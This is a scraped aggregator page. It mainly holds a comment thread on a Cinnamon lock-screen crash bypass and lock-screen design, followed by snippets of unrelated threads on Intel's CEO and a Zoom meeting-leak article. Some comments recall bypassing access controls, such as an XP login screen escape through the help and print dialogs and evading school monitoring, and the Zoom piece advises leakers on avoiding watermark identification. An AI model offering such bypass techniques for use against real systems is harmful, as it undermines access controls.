Unplugging the reconnecting the Ethernet cable wouldn't reconnect you to the teachers monitoring software.

We had a zip filled with games like Starcraft 2, Quake 3, Halo CE that was hidden on the shared network drive that kids around the school would use to play and LAN with each other.

jorvi(10000) 4 days ago [-]

This reminds me of the classic XP login screen bypass by opening the help dialog, then the print dialog, then searching for a file to open for printing, and then executing 'explorer.exe' (I might be misremembering, this is quite a while ago).

I also remember figuring out how to share my USB key as a network drive to other users. Many fun middays were had blasting around in Halo or Soldier of Fortune II with like 10 friends, although less fun was had when our school's sysadmin found some lingering cache files that were owned by my id.

kuter(10000) 4 days ago [-]

For anyone interested there is something called fuzzing that uses usually code coverage based heuristics to generate data to find bugs.

For example LLVM's lib fuzzer uses instrumentation to track code coverage and mutates data to find invalid behaviour.

https://llvm.org/docs/LibFuzzer.html

It uses a compiler pass to insert code to branch points functions calls etc. I think it uses genetic algorithms to increase coverage by changing the data.

There are others that work in similar ways one of them is. https://github.com/google/AFL

passivate(10000) 4 days ago [-]

Well, I guess the obvious question to ask is has anyone run this particular fuzzer on the code in question?

cuillevel3(10000) 4 days ago [-]

Here is an eight year old presentation on fuzzing X:

https://media.ccc.de/v/30C3_-_5499_-_en_-_saal_1_-_201312291...

suyjuris(10000) 4 days ago [-]

I have used AFL a few times casually in some personal projects, and it has always performed quite well for me. Of course, there are a lot of weird cornercases which would not occur on real-world (non-adversarial) inputs, but it also found some very real bugs.

(For example, I once wrote a hash table implementation where the insertion and resizing procedures had slightly different views on wraparound, causing failures on very specific inputs. Another time, I wrote some code to buffer out-of-order messages, which would only occur due to a race condition. It was wrong. Both times I had thought carefully about the code, and the bugs would have been painful to discover otherwise.)

Vinnl(10000) 4 days ago [-]

Somewhat similar for web UIs: Quickstrom is a tool that lets you define a set of conditions that should hold (e.g. 'there should always be an 'Add todo' button'), and then it'll simulate behaviour that might break that condition.

See https://quickstrom.io/

(I haven't used it myself yet, but it looks interesting.)

rblion(10000) 4 days ago [-]

Imagine if Jurassic Park was real and this happened...

smooth__(10000) 4 days ago [-]

'It's a Linux system! I know this!'

smashes keys

Unlocks

GlitchMr(10000) 4 days ago [-]

I find interesting that GNOME Screensaver's security depends on it to not crash.

Meanwhile, in KDE the lock screen is managed by KDE Session Management Server which ensures that lock screen cannot be bypassed by simply crashing its process.

The way it works is follows: ksmserver draws a black rectangle over everything and spawns kscreenlocker. If kscreenlocker crashes, the black rectangle is still here, and ksmserver will spawn kscreenlocker again but this time with software rendering (just in case it crashed due to graphics driver issue). If kscreenlocker crashes four times then KDE Session Management Server gives up, stops respawning kscreenlocker and simply draws the following text on the screen.

  The screen locker is broken and unlocking is not possible anymore.
  In order to unlock switch to a virtual terminal (e.g. Ctrl+Alt+F2),
  log in and execute the command:
  
  loginctl unlock-session %1
  
  Afterwards switch back to the running session (Ctrl+Alt+F%2).
If ksmserver itself crashes then the entire session closes.

I'm not sure why GNOME screensaver cannot do something like this. Lock screen crashing seems like something inevitable (especially considering buggy graphic card drivers and so on), and it makes sense to prepare for it so that crashes won't bypass the screen locker.

awestroke(10000) 4 days ago [-]

That does sound much more sane.

anticensor(10000) 4 days ago [-]

Interestingly, there is a race condition in GNOME lock screen which sometimes blocks sleep until unlocking.

cycloptic(10000) 4 days ago [-]

>I'm not sure why GNOME screensaver cannot do something like this.

This actually is fixed in upstream GNOME because the screensaver is now built into the shell. The problem here is exclusively with cinnamon-screensaver and other components derived from gnome-screensaver, which is unmaintained and upstream GNOME considers it obsolete.

noisy_boy(10000) 4 days ago [-]

> I'm not sure why GNOME screensaver cannot do something like this. Lock screen crashing seems like something inevitable (especially considering buggy graphic card drivers and so on), and it makes sense to prepare for it so that crashes won't bypass the screen locker.

That is an option Linux Mint is considering[0] among other options.

[0]: https://github.com/linuxmint/cinnamon-screensaver/issues/354...

cuillevel3(10000) 3 days ago [-]

This bug is not about the Gnome screensaver. This is about Cinnamon, which forked from Gnome 3 in 2013.

dheera(10000) 3 days ago [-]

The Gnome screensaver lock is only a fluffy fake security mechanism. It's not real security.

I've had many instances where my CPU was bogged down and after hitting the keyboard I could use the computer for a good several seconds before the lock screen popped up asking for a password.

inetknght(10000) 4 days ago [-]

I actually had this happen around Christmas (using Manjaro). I had no idea what the message really meant or what caused it. The instructions were at least clear enough to get back into the running session, which is far better than, say, most of GNOME's crap.

brnt(10000) 3 days ago [-]

I have no idea why GNOME is the default DE for the big distros (Redhat et al, Ubuntu). Technically it's evidently inferior, it had substandard ergonomics and features like accesibility services. I really dont get it.

Const-me(10000) 3 days ago [-]

In Windows it's also good. The way it works is follows.

The OS support multiple desktops. Similar to files or registry keys, desktops have security descriptors attached (a data structure keeping who's the owner, and optionally listing users/groups with their respective permissions on the object being controlled).

To do anything on a desktop, like create windows, paint stuff, or interact with windows on that desktop, user doing that is required to pass an access check against the security descriptor of the desktop. If failed, these GUI-related functions gonna return "access denied" status code instead of doing anything.

The login screen is simply rendered on a separate desktop. That desktop has restrictive security descriptor, most users don't have permissions to interact with them. UAC prompts are also displayed on another desktop, that's how it's impossible to automate them from within a program who triggered the UAC prompt.

BTW, about crashing GPU drivers, on modern Windows the condition is recoverable. The symptoms are black screen for a second, then the OS resets the hardware, restarts the driver, and resumes rendering of the desktop. Observed quite a few times working on advanced GPU stuff, especially compute shaders.

dr_cypher(10000) 4 days ago [-]

jwz has a lot to say about complex graphical toolkits/desktop environments and their complex locking mechanisms. It's an interesting series of posts.

  If you are not running xscreensaver on Linux, then it is safe to assume that your screen does not lock. Once is happenstance. Twice is coincidence. Three times is enemy action. Four times is Official GNOME Policy.
https://www.jwz.org/xscreensaver/toolkits.html
wrsh07(10000) 4 days ago [-]

This is a good lesson in 'failing open' vs 'failing closed'

Qub3d(10000) 4 days ago [-]

For everyone linking the JWZ 'I Told You So' post, the devs are aware of it and posted a response in the GitHub issue. I encourage everyone to read their side of the issue: https://github.com/linuxmint/cinnamon-screensaver/issues/354...

sbierwagen(10000) 4 days ago [-]

What context? Reading that issue, the content seems to be:

1: jwz says if you add accessibility features to a text box, make sure they don't have any bugs that can kill a process, since that will break screen lockers

2: Cinnamon adds a buggy accessibility feature to a text box that lets you crash the screen locker

3: Github user clefebvre says something along the lines of 'why is jwz being so negative >:('

Well... you did exactly what he told you not to do. If you're going to add accessibility features to a text box, you need to not screw it up. If you screw it up, then it breaks the screen locker for every user in the world, including the 99% of people who will never use the accessibility features.

If you make an obvious, stupid mistake, people will make fun of you. Complaining that people are making fun of you won't do much. Try, instead, to not make the obvious stupid mistake?

From the issue:

>With that said, I have on message for JWZ. Don't be that guy. It's too easy to just tell people no to cross the street. Work with us on building that safest path.

Huh? What? He wrote xscreensaver 20 years ago. He's supposed to fix buggy code written by other people until he dies?

Why is it his responsibility to fix your code? The distro extended his program, the extension broke. You can either ignore the problem, remove the extension, or fix the extension. None of these things sounds like xscreensaver's problem!

dluan(10000) 4 days ago [-]

Something about this exchange was extremely pleasing and calming to read, maybe I'm irony poisoned from overly loud social media. But this was so nice to read through.

berkes(10000) 4 days ago [-]

A pleasant bugreport with no judgement or demands.

And a quick response by the maintainer who shows thank, is focused on a clear outcome, and shows the progress transparently.

I've seen too many bugreports where one, or both actors behave vastly different. This one here should be a reference for anyone involved in 'bugreports' in some way.

joshspankit(10000) 4 days ago [-]

My own anecdote:

My daughter was 1ish at the time, and I sat her down while I grabbed something from the fridge. Windows 98, locked. When I came back the screensaver was on, the password dialog was still up, but the desktop was fully functional in front of it. I could navigate, open applications, and everything else.

Still no idea how she did it, but that's not the first or last time she surprised me :)

benibela(10000) 4 days ago [-]

There is this classic: https://i.imgur.com/rG0p0b2.gif

throwanem(10000) 4 days ago [-]

I think you just had to hit Escape.

In general, the way you secured a Windows 9x box was by locking the door to the room it was in.

mhh__(10000) 4 days ago [-]

Unless there's something unbelievably wacky going on, this is why people use formal verification.

If you can describe your program as a state machine, you can ask an SMT solver to find any transitions that break stuff. Unfortunately it's a lot harder to do for software than hardware because of the plasticity people expect from the former, but works it was it's really nice.

cuillevel3(10000) 4 days ago [-]

Right ....

Start kiosk mode fullscreen app as a lock screen -> if app exits -> show desktop

Leherenn(10000) 4 days ago [-]

Another tangentially linked anecdote. We had build artefacts stored on a Samba shared drive, that were write protected, since some people regularly used to move them instead of copying them. Then one day, the latest build was gone again. We asked around to see whether someone had purposefully removed the build, but no. Turns out someone on Windows 10 had tried to cut and paste the file, but his computer had crashed before pasting. Apparently the permissions were only checked on paste, but the file was unlinked on cut?

mercora(10000) 4 days ago [-]

i don't think these permissions are enforced client side... I also think write and delete are separate permissions on windows and i am pretty sure i never lost a file on accidentally doing only the first halt of a cut and paste aka move... so i conclude this 'someone' either had nothing to do with the incident or removed it by accident...

idiocrat(10000) 4 days ago [-]

Well, the original definition of the word 'hacking'. Hacking on keyboard to exploit keypress timings, key combinations and key buffer overflows.

radicalbyte(10000) 4 days ago [-]

The original definition of 'hacking' was 'hacking code together'. Move fast and break things. There are a lot of us OG and TNG hackers here. It's kind of the SV spirit.

'Cracker' is the term used commonly - as in 'crack the nut'; i.e. gain access to systems / break copy protection etc. Then you have the phone guys, the phreakers, whistling for free calls.

s_gourichon(10000) 4 days ago [-]

A well known reference, Eric Raymond's 'jargon file' a.k.a. 'hacker's dictionary' offers 9 definitions, much broader and seemingly older than keypress timings: http://catb.org/~esr/jargon/html/H/hack.html

( see also http://catb.org/~esr/jargon/html/index.html and https://en.wikipedia.org/wiki/Jargon_File )

smarx007(10000) 4 days ago [-]

Margaret Hamilton's daughter Lauren still takes the first place for 'kid fuzzing' the AGC IMO https://wehackthemoon.com/people/margaret-hamilton-her-daugh...

But this is pretty impressive as well!

carapace(10000) 4 days ago [-]

Hamilton who coined the phrase 'software engineering'. Great find!





Historical Discussions: New Intel CEO rehiring retired CPU architects (January 21, 2021: 734 points)

(738) New Intel CEO rehiring retired CPU architects

738 points 3 days ago by rbanffy in 10000th position

www.anandtech.com | Estimated reading time – 5 minutes | comments | anchor

We're following the state of play with Intel's new CEO, Pat Gelsinger, very closely. Even as an Intel employee for 30 years, rising to the rank of CTO, then taking 12 years away from the company, his arrival has been met with praise across the spectrum given his background and previous successes. He isn't even set to take his new role until February 15th, however his return is already causing a stir with Intel's current R&D teams.

News in the last 24 hours, based on public statements, states that former Intel Senior Fellow Glenn Hinton, who lists being the lead architect of Intel's Nehalem CPU core in his list of achievements, is coming out of retirement to re-join the company. (The other lead architect of Nehalem are Ronak Singhal and Per Hammerlund - Ronak is still at Intel, working on next-gen processors, while Per has been at Apple for five years.)

Hinton is an old Intel hand, with 35 years of experience, leading microarchitecture development of Pentium 4, one of three senior architects of Intel's P6 processor design (which led to Pentium Pro, P2, P3), and ultimately one of the drivers to Intel's Core architecture which is still at the forefront of Intel's portfolio today. He also a lead microarchitect for Intel's i960 CA, the world's first super-scalar microprocessor. Hinton holds more than 90+ patents from 8 CPU designs from his endeavors. Hinton spent another 10+ years at Intel after Nehalem, but Nehalem is listed in many places as his primary public achievement at Intel.

On his social media posts, Hinton states that he will be working on 'an exciting high performance CPU project'. In the associated comments also states that 'if it wasn't a fun project I wouldn't have come back – as you know, retirement is pretty darn nice'. Glenn also discloses that he has been pondering the move since November, and Gelsinger's re-hiring helped finalize that decision. His peers also opine that Glenn is probably not the only ex-Intel architect that might be heading back to the company. We know a few architects and specialists that have left Intel in recent years to join Intel's competitors, such as AMD and Apple.

There are a few key things to note here worth considering.

First is that coming out of retirement for a big CPU project isn't a trivial thing, especially for an Intel Senior Fellow. Given Intel's successes, one would assume that the financial situation is not the main driver here, but the opportunity to work on something new and exciting. Plus, these sorts of projects take years of development, at least three, and thus Glenn is signing on for a long term despite already having left to retire.

Second point is reiterating that last line – whatever project Glenn is working on, it will be a long term project. Assuming that Glenn is talking about a fresh project within Intel's R&D ecosystem, it will be 3-5 years before we see the fruits of the labor, which also means creating a design aimed at what could be a variety of process node technologies. Glenn's expertise as lead architect is quite likely applicable for any stage of an Intel R&D design window, but is perhaps best served from the initial stages. The way Glenn seems to put it, this might be a black-ops style design. It also doesn't specify if this is x86, leaving that door open to speculation.

Third here is to recognize that Intel has a number of processor design teams in-house and despite the manufacturing process delays, they haven't been idle. We've been seeing refresh after refresh of Skylake lead Intel's portfolio, and while the first iterations of the 10nm Cove cores come to market, Intel's internal design teams would have been working on the next generation, and the next generation after that – the only barrier to deployment would have been manufacturing. I recall a discussion with Intel's engineers around Kaby Lake time, when I asked about Intel's progress on IPC – I requested a +10% gen-on-gen increase over the next two years at the time, and I was told that those designs were done and baked – they were already working on the ones beyond that. Those designs were likely Ice/Tiger Lake, and so Intel's core design teams have been surging ahead despite manufacturing issues, and I wonder if there's now a 3-4 year (or more) delay on some of these designs. If Glenn is hinting at a project beyond that, then we could be waiting even longer.

Fourth and finally, one of the critical elements listed by a number of analysts on the announcement of Gelsinger's arrival was that he wouldn't have much of an effect until 3+ years down the line, because of how product cycles work. I rejected that premise outright, stating that Pat can come in and change elements of Intel's culture immediately, and could sit in the room with the relevant engineers and discuss product design on a level that Bob Swan cannot. Pat has the opportunity to arrange the leadership structure and instill new confidence in those structures, some of which may have caused key architects in the past to retire, instead of build on exciting projects.

As we can see, Pat is already having an effect before his name is even on the door at HQ.

Today is also Intel's end-of-year financial disclosure, at 5pm ET. We are expecting Intel's current CEO, Bob Swan, to talk through what looks to be another record breaking year of revenue, and likely the state of play for Intel's own 7nm process node technologies. That last point is somewhat thrown into doubt given the new CEO announcement and if Gelsinger is on the call. It is unknown if Gelsinger will participate.

Related Reading




All Comments: [-] | anchor

hehehaha(10000) 3 days ago [-]

It appears INTC is serious about correcting the wrongs and doing it right. I'd be worried if I am Lisa Su at AMD.

RocketSyntax(10000) 3 days ago [-]

Err. shouldn't the real competitors be viewed as ARM and M1?

lallysingh(10000) 3 days ago [-]

.. not until they get some process people.

UncleOxidant(10000) 3 days ago [-]

Now if he can convince Jim Keller to come back.

systemBuilder(10000) 1 day ago [-]

I for one don't think they deserve Jim Keller. They have been guilty of so many anti-competitive anti-trust moves that imho they have been as much a hindrance to progress in the computer industry - why would they deserve Jim Keller? Just because they forced everybody to buy their products in the past (by blackballing anybody designing ANYTHING else into their laptops) - doesn't mean they deserve ANY success in the future!

sradman(10000) 3 days ago [-]

In my estimation, Intel has four categories in which it is being outperformed by key competitors:

1. TSMC/Samsung - fabrication

2. AMD/Amazon-Graviton - Cloud Server

3. Apple-M1/AMD - Laptop

4. Nvidia/Amazon - Cloud ML/DL Accelerator

Intel has made giant blunders in the past (e.g. Itanium [1], Atom [2], WiMAX [3]) but I'm not sure that any of these past challenges were equivalent to the current four-front war. I would not count Intel out at this point but it will be several years before we know if they were able to right the ship.

[1] https://en.wikipedia.org/wiki/Itanium

[2] https://en.wikipedia.org/wiki/Atom_(system_on_a_chip)

[3] https://en.wikipedia.org/wiki/WiMAX

nolok(10000) 2 days ago [-]

You forgot their main market, AMD - desktop x86/windows

But the first point on your list is where their real loss is, it's historically the source of their strenght and they've never been losing at this one.

scottlamb(10000) 2 days ago [-]

5. Phones/tablets, back in 2016 and before. https://www.extremetech.com/computing/227816-how-intel-lost-... If they were competitive there, maybe the M1 wouldn't have happened either...

klelatti(10000) 3 days ago [-]

5. AMD/TSMC - desktop x86

tachyonbeam(10000) 2 days ago [-]

I'm kind of questioning whether it even makes sense for Intel to try to compete with Nvidia and AMD when it comes to GPUs or deep learning accelerators. They just need to really win in one area in a sense, or at least to have a product with a really compelling price/performance ratio. Though you could argue there's a certain synergy between laptops, desktops and servers (people will generally favor running the same architecture they develop on).

1-6(10000) 3 days ago [-]

Your list is skewing toward Amazon, but point well taken. If you include Google and Microsoft, they're all chip-designers as well because they can simply license ARM's designs. Imagine if Netflix decided to hire chip designers. All that's left is fabrication and Intel is exiting that.

volta87(10000) 2 days ago [-]

In which category is Intel not being outperformed by competitors?

ItsTotallyOn(10000) 3 days ago [-]

Except he didn't re-hire him. As noted in the article itself, the architect was already in negotiations since November. Also, new CEO doesn't step in until next month. Clickbait title.

IanCutress(10000) 3 days ago [-]

The effect of Gelsinger taking the CEO role pushed a hire that was on the fence into accepting the role. It means he's having an affect already. That's what the title is meant to convey.

PragmaticPulp(10000) 3 days ago [-]

This is an encouraging move.

My secondhand understanding was that Intel was losing top talent due to pressure to pay closer to median industry compensation. Top engineers recognized they were underpaid and left the company.

I've been part of a similar downhill slide at a smaller company in the billion dollar revenue range. To be blunt, once the [mediocre] MBAs start realizing that the engineers are getting paid more than they are, the pressure to reduce engineering compensation is strong. Frankly, there are plenty of engineering candidates on the market who are happy with median compensation. Many of them are even great engineers and great employees.

However, being a top company in a winner-take-all market requires the top engineers. The only way to attract and retain them at scale is to offer high compensation. I'm hoping that's part of what's happening here.

trhway(10000) 2 days ago [-]

>to offer high compensation. I'm hoping that's part of what's happening here.

so, the new old guys are brought in at market and higher - otherwise how you'd bring them in? - ie. it sounds like at the scale of at least 3x+ of the current engineering comp at Intel. Lets see how that would sit the the current engineers at Intel. I don't think it would result in high collaboration and team cohesion.

Also Intel issue seems to be process node, not the 'architecture' per.se., and one can wonder how several years gap may affect one's utility at solving intricate issues of current node.

Anyway, fab to fabless is a classic paradigm shift , and Intel just fails to grasp it and to adapt.

avs733(10000) 2 days ago [-]

I worked in an Intel Fab for a couple years. I walked out the door of Intel one day in 2011 (longer and irrelevant story). Within a week I had a job offer in hand from a competitor for over 2x the money.

langitbiru(10000) 3 days ago [-]

Reading all comments grilling MBAs in HN is one of my guilty pleasures. I think I need to collect them all and put them in one place.

tharne(10000) 1 day ago [-]

> To be blunt, once the [mediocre] MBAs start realizing that the engineers are getting paid more than they are, the pressure to reduce engineering compensation is strong.

I work in a different industry, but it's the same story everywhere. MBAs are the worst thing to ever happen to American business. We've created an entire class of people with large egos and expensive credentials who don't actually know anything practical, and we've put them in charge.

We've come up with this weird idea that you can abstract running a business away from the nuances of a particular business and industry, but that's completely untrue. Business are not these clean theoretical constructs you see in business school or an economics class, they're real, they're messing, and it's not always crystal clear why a particular business works or doesn't work.

flatline(10000) 3 days ago [-]

Engineering capability and financial savvy are somewhat orthogonal. You will keep some top performers and lose others by paying median wages. Some people also simply value stability or find other aspects of the job worthwhile over seeking higher compensation. It's also really easy not to take into account all avenues of compensation: salary, healthcare, bonuses, retirement, tax-advantaged vehicles such as HSAs, stock options - I'd say at least half of the employees in any field are mostly clueless about finances at this level, take a glance at base salary and make a rough decision whether it's good enough.

mediaman(10000) 3 days ago [-]

It's weird for me to hear all these stories about MBAs. While I'm not an MBA myself, I was in investment banking and planned to get an MBA before I left finance and did something else instead.

I regularly pay engineers more than I pay myself as a CEO (granted: I am not really interested in draining the company's coffers for my own benefit, since I have equity). It just seems obvious that, at the end of the day, so much of the business's success turns on the engineering quality of the product, of the production lines, of the efficiencies, of the final delivered product quality.

While I take time to try to understand engineering issues, I am not an engineer by training and recognize that these people are much, much better at it than I am. So it's strange to see all these MBAs -- the types of people I used to work more closely with -- simply not get it. In most industries, you simply can't paper over operational and engineering incompetence with a slick marketing plan. So you need great engineering and operational chops. For many industries, more than a slick marketing plan.

kevin_thibedeau(10000) 3 days ago [-]

Intel was the top H1B sponsor a few years back. Presumably they hollowed out their talent base by hiring less experienced engineers for less pay. Some of whom have returned home or are now working for a competitor closer to home.

hinkley(10000) 3 days ago [-]

When I heard how much Apple was offering versus Intel, I just had the picture in my head of a classroom where the teacher is demonstrating some showy physics or chemistry principle based on pressure.

Maybe they reasoned that they're located in a lower cost of living market and so those big paychecks aren't necessary. Or maybe the policy people just get sticker shock because of that.

Either way, making rational decisions 24 hours a day is very different than being able to consistently make them 8 hours a day 5 days a week. I've known plenty of trustworthy coworkers who make irrational personal decisions. You can't use 'econ brain' to price employee salaries and benefits.

SV is so familiar with the cheaper, irrational solutions that they're a cliche that occasionally rises to the level of self parody.

alisonkisk(10000) 3 days ago [-]

Steve Jobs, already legendary for avoiding paying engineers for their contributions, organized an industry-wide cartel to hold down wages, and he never had an MBA.

It's a bad leadership thing, not an MBA thing.

lmilcin(10000) 3 days ago [-]

I left Intel years ago to get almost 3x the salary as a software developer at... a bank.

At Intel engineers are paid supposedly similar rates at similar levels and similar locations. And given my level (two levels above Senior Developer) I estimate I was paid better than at least 90% engineers.

Where I worked in R&D the doors were constantly revolving and many people admitted they wait to register enough of prestigious time at Intel on their CV to get hired at a much better rate for another company.

--

I don't see these moves as encouraging, more like signs of complete and utter panic. You go to these moves when whatever you do isn't working and you don't have strategy to do something new so you try to default on what has worked in the past (this both for the choice of CEO as well as bringing retired people).

This doesn't necessarily mean it is a wrong move (see Steve Jobs coming back to save Apple as a proof it doesn't have to be bad) but I wouldn't call it encouraging.

Rehiring retired people to me signals the new CEO has no trust in people that already are there. And that is usually bad news.

Add to it outsourcing CORE competency to competitor (https://www.eenewseurope.com/news/intel-TSMC-5nm) and it seems that if there is a plan it is to keep the ship afloat for a little while longer.

Hopefully the ship is going to be afloat for as long is necessary to reshape the organization, but I think we haven't yet seen any concrete moves to see what is the strategy.

StreamBright(10000) 3 days ago [-]

I think there is more to the story. Apple and the new M1 just shows the strength of vertical integration. Once you can collect data from millions of devices and apply statistics on the top of it you can make decisions that Intel or AMD could never make. Intel also fall victim of its own success, become slow, stopped innovating at the pace necessary for the future.

memorybadger(10000) 2 days ago [-]

I think similar concept was described by Steve Jobs here: https://www.youtube.com/watch?v=P4VBqTViEx4

nimbius(10000) 2 days ago [-]

This is a disasterous move.

Ringing up elderly chipmakers to help shore up a company that's been run into the ground by marketing and management only confirms the same disastrous management practices are still at play

As a leader trying to resuscitate a brand, eschewing new talent for old is just going to get you handfuls of engineers familiar with corporate ladder climbing and various no wake zones that might challenge the status quo. It also sends a clear message to newly minted PhD and graduates: Intel is closed for new ideas.

api(10000) 3 days ago [-]

> My secondhand understanding was that Intel was losing top talent due to pressure to pay closer to median industry compensation. Top engineers recognized they were underpaid and left the company.

This is what happens when you're run by bean counters who don't understand your core business or industry.

ulfw(10000) 2 days ago [-]

>> once the [mediocre] MBAs start realizing that the engineers are getting paid more than they are, the pressure to reduce engineering compensation is strong

These 'useless MBAs' 'only engineers are worthy beings' generalisations on HN are getting seriously tiring. A lot of people have both backgrounds fyi. There's bad Apples in every profession.

fermienrico(10000) 2 days ago [-]

Ex-Intel perspective: There is also a lot of work that needs to be done at Intel which requires mediocre engineers by the thousands. Intel does pay well to their top engineers which climb up in the ranks.

The engineer working on CAD, layout, specs, RFQs, Suppliers, Equipment, etc are hardly going to revolutionize anything. Their work is valuable but they're entirely replaceable.

For every top engineer, you need 20 minions to execute. Folks who think otherwise haven't really worked in a large company. In the words of Jim Keller - "It's craftsman's work. It's fun."

mc32(10000) 3 days ago [-]

Hopefully they also consider current engineers and harmonize their compensation too, else people will have reason to hold a grudge because it would prove the only way to get fair compensation is to play the game and accelerate turnover.

speby(10000) 3 days ago [-]

> To be blunt, once the [mediocre] MBAs start realizing that the engineers are getting paid more than they are, the pressure to reduce engineering compensation is strong.

Unfortunately, this feels all too true. I believe this kind of mental bias trap is true and widespread.

908B64B197(10000) 3 days ago [-]

> However, being a top company in a winner-take-all market requires the top engineers. The only way to attract and retain them at scale is to offer high compensation. I'm hoping that's part of what's happening here.

Anyone remembers Blackberry?

That's pretty much what killed them. Going there typically meant you weren't good enough to get a callback from Apple.

JJMcJ(10000) 2 days ago [-]

Remember, if you pay median, 1/2 the engineers are making more at other companies.

kyrieeschaton(10000) 2 days ago [-]

I wonder if they have regrets about their 300 million dollar diversity push.

bantunes(10000) 2 days ago [-]

How is that remotely relevant?

john_alan(10000) 3 days ago [-]

Good! Intel need Engineers back at the helm. Too long it was run by bean-counters.

I'm not a big fan of Intel, but this type of news makes for exciting possibilities from Intel again.

Though the performance per watt of the M1 I type this on, is going to take some beating.

dehrmann(10000) 3 days ago [-]

I agree that you need someone with a strong engineering background somewhere in leadership. Bean counters are useful when you're more interested in efficiencies than innovation. Even when you're interested in innovation, don't discount MBA-types too much. Look at Sun. They had a lot of interesting engineering going on, but they got displaced by commodity hardware and software, never really found their new business, and got gobbled up by Oracle so their bean counters could extract licensing fees.

Goosee(10000) 3 days ago [-]

A bit off topic but I remember when Intel set up a special career fair presentation for my major.

I forget the specific role the manager was hiring for, but it sounded like a quality/reliability engineer. Basically run a bunch of tests, identify and analyze errors on newly manufactured equipment.

I immediately lost interest when the manager said the role would either work until 9 PM or start the next day at 4 AM due to an important (daily?) 7 AM meeting where the results would be presented. Ontop of that, it was required that you be on call during every weekend and most holidays. You would be required to do this for your first two years as an entry bachelor degree worker. Entering masters level students wouldn't need to be on call.

After that, he mentioned this role would pay ~$65,000 USD. Bonus < $5000. To live in the bay area. Then he bragged to us about the ability to buy intel stock at a 15% discount or something like that.

The manager presented in a room with fully qualified people to work at any FANG/Graphics/Aerospace company.

I sold all my intel stock the next day [late 2019], it made up most of my portfolio at the time. I just did not see how intel would attract talent if it over-worked and under-compensated entry level employees like that. Compared to the FANG employee getting free meals, game rooms, huge salary, etc.

smeyer(10000) 2 days ago [-]

>I sold all my intel stock the next day [late 2019], it made up most of my portfolio at the time.

Sorry if this is too off-topic, but why did it make up a sizable fraction of your portfolio in the first place?

whymauri(10000) 2 days ago [-]

It's incredible to me how often recruiters will shoot themselves in the foot when discussing WLB. When I was an undergrad, I had a lot of management consultancies reach out for technical/engineering roles. I thought - hey, there's a reason why people want to work at Bain, BCG, and McKinsey, right?

So I spoke to a recruiter and opened with: so what's the work life balance look like for technical ICs at your company? The recruiter literally laughed at me like I was doing stand-up comedy. Well, uh... ok? Waste of time, lol.

frabjoused(10000) 3 days ago [-]

This sounds like a placed PR statement.

lallysingh(10000) 3 days ago [-]

> He also a lead microarchitect for Intel's i960 CA .. Expect PR to be better written from Intel.

This is a fluff piece, which looks like it (perhaps intentionally) should buoy INTC share price. I suspect it's fluffy partially from a fanboi author, and partially to keep in Intel's good graces.

mikewarot(10000) 3 days ago [-]

If he's going to focus on maximizing threads instead of performance per thread, they'll come out on top. The race to make a single instruction thread move ever faster has obviously hit its limits as the main driver of overall compute performance.

If they keep pushing the old model of ever more GHz, they'll fail.

jtsiskin(10000) 3 days ago [-]

That depends on if developers can be convinced to actually use multiple threads...

fbn79(10000) 3 days ago [-]

Wikipedia tell that Gelsinger is the cofounder of 'Transforming the Bay with Christ' group. So the right person because Intel need a miracle to keepup with competitors

tgtweak(10000) 3 days ago [-]

Divine intervention is required to put things on the right path. Hopefully this happens for the sake of consumers getting some innovation.

clubdorothe(10000) 3 days ago [-]

They've probably lost[1] few months ago their most talented chips engineer, Jim Keller[2]. Ironically, Jim suggested to outsource the manufacturing of their chips, what the new CEO just did [3].

[1] https://www.anandtech.com/show/15846/jim-keller-resigns-from...

[2] https://en.wikipedia.org/wiki/Jim_Keller_(engineer)

[3] https://www.extremetech.com/computing/319301-report-intel-wi...

systemBuilder(10000) 2 days ago [-]

The i3 is Intel's most hated product as the margins are the lowest. So it sounds like giving the i3 to an outside foundry is just a way for them to get rid of their least profitable work and is not a sincere effort to move the company forward! When I worked for Google I learned that the i3 was not allowed to be designed into corporate-grade laptops and by that I mean Chromebooks. Because of this Google would never approve an i3 Chromebook for internal corporate use!

mattashii(10000) 3 days ago [-]

Your [3] is (still) a rumour, and although signs of it have been around since at least July 2020, this has not been confirmed nor would I qualify it as 'something their new CEO just did' as it has been talked about by their current CEO as well.

95014_refugee(10000) 3 days ago [-]

"Losing" Keller is a net win.

Hinton, OTOH, is the real deal. I had the privilege of spending some time with him and the gang back in the Nehalem days.

Hinton and Keller don't belong in the same conversation.

1-6(10000) 3 days ago [-]

Could Intel possibly buy a stake in ARM (from Softbank) rather than Nvidia?

klelatti(10000) 3 days ago [-]

No. Massive antitrust red flag, especially as they could just buy a license.

UncleOxidant(10000) 3 days ago [-]

Too late now.

_the_inflator(10000) 3 days ago [-]

I like it when the old gang comes together and blends with new talent.

HelloNurse(10000) 3 days ago [-]

On the other hand, returning veterans could have a strong demotivational effect on current talent. If the company doesn't believe in me, why should I stay?

klelatti(10000) 3 days ago [-]

Architect (singular) and Gelsinger didn't rehire - his move back as CEO was a factor in the individual concerned's decision to rejoin.

Pretty disappointing headline from Anandtech.

herodoturtle(10000) 3 days ago [-]

Yeah I tend to agree with you.

They did say right at the end: As we can see, Pat is already having an effect before his name is even on the door at HQ.

But the way I read this headline, it kinda sounds like Pat actively rehired folk.





Historical Discussions: What You Should Know Before Leaking a Zoom Meeting (January 19, 2021: 732 points)

(732) What You Should Know Before Leaking a Zoom Meeting

732 points 5 days ago by danso in 10000th position

theintercept.com | Estimated reading time – 6 minutes | comments | anchor

As more and more meetings take place over the videoconferencing service Zoom, it stands to reason that journalists will receive more and more audiovisual material leaked from such gatherings. This new leak medium poses unique challenges, requiring care to avoid exposing sources through digital watermarks or images of the user interface.

At least one Zoom leaker has already been unmasked: a member of the New York State Assembly who apparently filmed his "self-view" while recording a dispute within the Democratic assembly conference over the renomination of the speaker. That may sound careless, but a feature developed by Zoom will allow future leakers to be exposed even without that sort of misstep.

Zoom Watermarking

Many users may not realize it, but Zoom has the capability to insert both video and audio watermarks into a meeting.

Video/audio watermark options in the Zoom settings panel.

Screenshot: The Intercept

Zoom meeting scheduler video/audio watermark settings. (The individual meeting scheduler options appear after watermarking has been enabled via the main settings panel.)

Screenshot: The Intercept

The video watermarks are readily perceptible to meeting participants. When enabled, the video watermarking feature superimposes the username portion of each participant's email address over the content they are viewing when another participant shares their screen and places the same watermark over the current active speaker. Because the video watermark appears across the entirety of the video frame, blurring may adversely impact the visibility of the underlying material.

Zoom patent diagram illustrating the video watermark feature.

Screenshot: The Intercept

